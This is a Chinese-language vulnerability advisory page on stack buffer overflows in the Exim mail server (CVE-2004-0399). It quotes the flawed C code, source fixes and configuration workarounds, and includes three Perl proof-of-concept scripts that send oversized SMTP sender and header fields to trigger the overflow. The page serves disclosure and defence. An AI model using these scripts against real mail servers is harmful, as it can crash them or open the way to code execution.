安全研究

安全漏洞
Exim require_verify缓冲区溢出漏洞

发布日期:2004-05-06
更新日期:2004-05-08

受影响系统:
Exim Exim 3.35
描述:
CVE(CAN) ID: CVE-2004-0399

Exim是一款流行的EMAIL服务器(MTA)。

Exim 3.35存在栈缓冲区溢出漏洞,当 sender_verify 选项为true时,远程攻击者会在发送者验证过程中造成拒绝服务,也可能执行任意代码。

<*来源:vendor
  
  链接:http://xforce.iss.net/xforce/xfdb/16079
        http://www.guninski.com/exim1.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

bug1:
in exim 3.35 in verify.c there are two occurences of:
---
sprintf(buffer, "%s:%.200s", sender_address,
---
where buffer is on the stack.
This is classic stack overflow.
This bug works if works if "sender_verify = true" is in exim.conf
To test for vulnerability:
./exi1.pl | nc localhost 25
then press enter.

bug2:
in accept.c for exim 3.35 and in verify.c for exim 4.32 there is:
---
char hname[64];
char *t = h->text;
char *tt = hname;
char *verb = "is";
int len;

while (*t != ':') *tt++ = *t++;
*tt = 0;
---
this code is hit if "headers_check_syntax" is in exim.conf for 3.35 and
"require verify          = header_syntax" is in the .conf for 4.32
the difficulty of exploiting this is that "t" can have limited content,
but can have arbitrary length.

To test for vulnerability for 3.35:
./exi2.pl | nc localhost 25
then press enter.

To test for vulnerability for 4.32:
./exi3.pl localhost 25

Fix:

Unofficial fix from me, but debian seems to agree with it.

for exim 3.35
for bug1:
in verify.c
find the following:
sprintf(buffer, "%s:%.200s", sender_address,
  (sender_host_name != NULL)? sender_host_name :
  (sender_host_address != NULL)? sender_host_address : "");
and
sprintf(buffer, "%s:%.200s", sender_address,
  (sender_host_name != NULL)? sender_host_name :
  (sender_host_address != NULL)? sender_host_address : "");

in both above cases replace "sprintf(buffer," with:
"snprintf(buffer, sizeof(buffer),"

for bug2:
in accept.c find:
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

for exim 4.32
for bug2:
in verify.c find
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

Note: you need to change some addresses in the perls below.

----exi1.pl----------------------------------
#!/usr/bin/perl
# works if sender_verify = true is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases or CVE
print "HELO a\r\n";
my $ch=getc();
print "MAIL FROM: " . "v" x 300 ."\@vt" . "\r\n";
print "RCPT TO: BillGay\@localhost\r\n";
print "DATA\r\n";
#print "From" . " " x 65 . ":" . "ff fff ff" ."\r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------

----exi2.pl----------------------------------
#!/usr/bin/perl
# works if headers_check_syntax is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases

print "HELO a\r\nMAIL FROM: BillGay\@localhost\r\nRCPT TO: SteveNoBall\@localhost\r\n";
print "DATA\r\n";
my $ch=getc();
print "From" . " " x 275 . ":" ."vv v \r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------


----exi3.pl----------------------------------
#!/usr/bin/perl

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];

# written by georgi guninski
# cannot be used in vulnerability databases
print "Written by georgi guninski\nCannot be used in vulnerability databases or CVE\n";

my $repl;
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

$repl= <$socket>;
print "server replied ${repl}";
my $req  = "HELO a\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";


my $fromaddr="BillGay\@soft";
my $touser="SteveNoBall\@soft";

$req = "MAIL FROM: ${fromaddr}\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

$req = "RCPT TO: ${touser}\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
$req = "DATA\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

print "Attached with debugger to exim and press enter\n";
my $ccc=getc();

$req = "From" . " " x 200 . ":" ." root\r\n";

$req .= "just to let you know that you sux\r\n";
$req .= ".\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";



while(<$socket>)
{
print $_;
}


close $socket;


---------------------------------------------


Workaround:
for exim 3.35
make sure you don't have the following options in exim.conf:
---
sender_verify = true
headers_check_syntax
---
for exim 4.32
make sure you don't have the following option in the config file:
require verify          = header_syntax

Vendor status:
exim.org and debian are aware of the bugs

Georgi Guninski
http://www.guninski.com

建议:
厂商补丁:

Exim
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.exim.org/

浏览次数:1930
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障